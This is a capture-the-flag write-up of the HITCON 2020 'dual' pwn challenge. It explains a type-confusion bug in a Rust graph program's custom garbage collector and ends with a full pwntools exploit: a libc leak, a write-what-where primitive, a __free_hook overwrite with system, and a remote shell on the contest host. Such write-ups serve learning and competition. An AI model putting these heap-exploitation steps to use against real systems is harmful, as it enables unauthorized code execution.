Table of Contents
Writeup of the dual pwn challenge of the Hitcon 2020 CTF, I played with mHackeroni.
Heap exploitation in Rust? Is there any hope? Yes if you implement your own Garbage Collector.
The program
The executable it's a simple CLI which allows to load a graph. The binary doesn't have any hard mitigations:
$ checksec dual-2df8d4005c5d4ffc03183a96a5d9cb55ac4ee56dfb589d65b0bf4501a586a4b0
RELRO STACK CANARY NX PIE RPATH RUNPATH ymbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 3950) Symbols No 0 12 dual-2df8d4005c5d4ffc03183a96a5d9cb55ac4ee56dfb589d65b0bf4501a586a4b0
The vulnerability
The struct of the Nodes of the Graph is:
struct Node{
id: u64, // 0x00 id of the node
this_index: u64, // 0x08 index of the current obj inside of the pool
edges: *mut Vec<u64>, // 0x10 ptr to the vector of neighbours
last_edge: *mut u64, // 0x18 ptr to the last edge in the vector of neighbours
edges_end: *mut u64, // 0x20 ptr to the end of the vector of neighbours
text_len: u64, // 0x28 Len of the text
text_index: u64, // 0x30 Index to the text obj in the pool
stamp: u64, // 0x38 operation stamp (not really usefull for pwning)
}
After fuzzing playing with the binary we found out that using write_bin
with length 0 causes a bug.
fn write_bin(){
println!("node_id>");
let node_id = read_int();
let node = match find_node(root, node_id) {
Some(node) => node,
None => {
println!("invalid");
return;
}
};
println!("bin_len>");
let bin_len = read_int();
let bin_vals = read(bin_len);
let (new_string, len) = encode(bin_vals, bin_len);
// NO CHECK!
node.text_index = add_pool(new_string);
node.text_len = len;
}
fn encode(bin_vals, bin_len) -> (&str, u64){
if bin_len == 0 {
// NULL == 0
return (NULL, 1);
}
...
}
(Here we skip over a lot of details which are not relevant here.) Basically the write_bin
function always add to the pool even if the encoding fails. The garbage collector considers a cell free if its value >> 3 == 0
and this olds for NULL. Therefore we have a type confusion where we can have the same memory referenced as a text and a node.
Now we can study the Rust documentation to figure out how to forge the Node
data structure. But Rust does not guarantees that the fields order is respected on structs without #[repr(C)]
, so the fields order might change between different compiler versions.
def craft_node(_id, **kwargs):
"""Helper function to get the bytes of an arbitrary node"""
s = p64(_id)
s += p64(kwargs.get("this_idx", 0x4141414141414141)
s += p64(kwargs.get("edges", 0)
s += p64(kwargs.get("last_edge", 0)
s += p64(kwargs.get("edges_end", 0)
s += p64(kwargs.get("text_len", 0x4141414141414141)
s += p64(kwargs.get("text_idx", 0x4141414141414141)
s += p64(kwargs.get("stamp",0x4141414141414141 )
return s
def forge_node(**kwargs):
# write an empty b64 to cause the bug in the node 0
write_bin(0, "")
# Create a new node which will be confused
# with the text of the node 0
node_id = create(0)
# Create the bytes for the arbitrary node
crafted = craft(node_id, **kwargs)
# Write it
write_text(0, crafted)
return node_id
Now that we can forge arbitrary nodes we need to find a leak of the libc address and a write primitive.
The pseudo-rust of the connect_node function is:
fn connect_node() {
println!("pred_id>");
let pred_id = read_int();
let pred_node = match find_node(root, pred_id) {
Some(node) => node,
None => {
println!("invalid");
return;
}
};
println!("succ_id>");
let succ_id = read_int();
let succ_node = match find_node(root, succ_id) {
Some(node) => node,
None => {
println!("invalid");
return;
}
};
unsafe{
let mut ptr = pred_node.edges;
// check if the edge was already inserted
while ptr < pred_node.last_edge {
if pool[*ptr] == succ {
return;
}
}
if pred_node.last_edge != pred_node.edges_end {
// realloc pred_node.edges
// and fix pred_node.last_edge
// and pred_node.edges_end
}
// write what where primitive
*pred_node.last_edge = succ_node.this_index;
}
}
So if we can craft two arbitrary nodes, we can use connect_node
to get arbitrary write.
For the libc leak we can do the usual unsorted bin leak (free a chunk into the unsorted bin, then read the pointer to the arena that will be placed in the heap). Here we create a node with arbitrary big text_len
to be able to read out of bound, then allocate and free a chunk to read the heap-metadata of the freed chunk.
nb = create(0)
# Bug: write_bin with size 0 will return 1 instead of a pointer.
write_bin(nb, '')
# This node can be overwritten with nb.text.
n1 = create(nb)
# Node that will be freed for the libc leak.
n2 = create(nb)
# Allocate >0x400 bytes so that the chunk will skip the tcache.
write_text(n2, 'X'*0x500)
# Create another node to avoid consolidation with the top chunk.
n3 = create(nb)
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena.
disconnect(nb, n2)
gc()
# Craft n1 so that we can read the pointers from the heap.
crafted = craft(n1, text_idx=n1, text_len=0x100)
write_text(nb, crafted)
# Leak.
leak = read(n1)
The exploit
In the following code we will omit the primitives for simplicity sake, the complete script can be found here.
Now that we can leak a libc address and we have a write-what-where primitive we can open a shell by either modifying the .got.plt
or by overwriting one of the hooks in the libc. We chose to overwrite the __free_hook
since it's faster.
Steps to get a shell:
- get the leak
- craft the nodes for the arbitrary write
- write the address of
system
in__free_hook
- create a text with
/bin/sh\x00
and then free it
The full exploit:
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
host = '13.231.226.137'
port = 9573
p = remote(host, port)
# Step 1: leak libc base.
# Prepare a root node for later. In the second step the DFS will go down here first,
# so it won't crash on the nodes we crafted in the first step.
na = create(0)
# Root node for step 1.
nb = create(0)
# Bug: write_bin with size 0 will return 1 instead of a pointer.
write_bin(nb, '')
# This node can be overwritten with nb.text.
n1 = create(nb)
# Node that will be freed for the libc leak.
n2 = create(nb)
# Allocate >0x400 bytes so that the chunk will skip the tcache.
write_text(n2, 'X'*0x500)
# Create another node to avoid consolidation with the top chunk.
n3 = create(nb)
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena.
disconnect(nb, n2)
gc()
# Craft n1 so that we can read the pointers from the heap.
crafted = craft(n1, text_idx=n1, text_len=0x100)
print('writing', len(crafted), 'bytes:', crafted)
write_text(nb, crafted)
leak = read(n1)
print(leak)
leak_libc = u64(leak[160:160+8])
print('leak arena:', hex(leak_libc))
leak_offset = 2014176 # main_arena + 96
main_arena = 0x7ffff7c2cb80 # libc.symbols['main_arena']
print('main_arena', hex(main_arena))
print('leak_offset', hex(leak_offset))
libc_base = leak_libc - leak_offset
print('libc base:', hex(libc_base))
pause()
# Step 2: write what-were to get a shell.
libc.address = libc_base
system = libc.symbols['system']
what = system
print('system:', hex(system))
free_hook = libc.symbols['__free_hook']
where = free_hook
print('__free_hook:', hex(free_hook))
# write_bin bug again to control a second node.
write_bin(n3, '')
# This node can be overwritten with n3.text.
n4 = create(na)
# Prepare nodes for arbitrary write.
wherenode = craft(n1, edges=where-8, last_edge=where, edges_end=where+32)
whatnode = craft(n4, pool_idx=what)
write_text(n3, whatnode)
write_text(nb, wherenode)
# Trigger arbitrary write.
connect(n1, n4)
pause()
# Write in a chunk and trigger the free in write_text to call system("/bin/sh").
write_text(nb, b'/bin/sh\x00')
write_text(nb, 'A'*1500, shell=True)
p.interactive()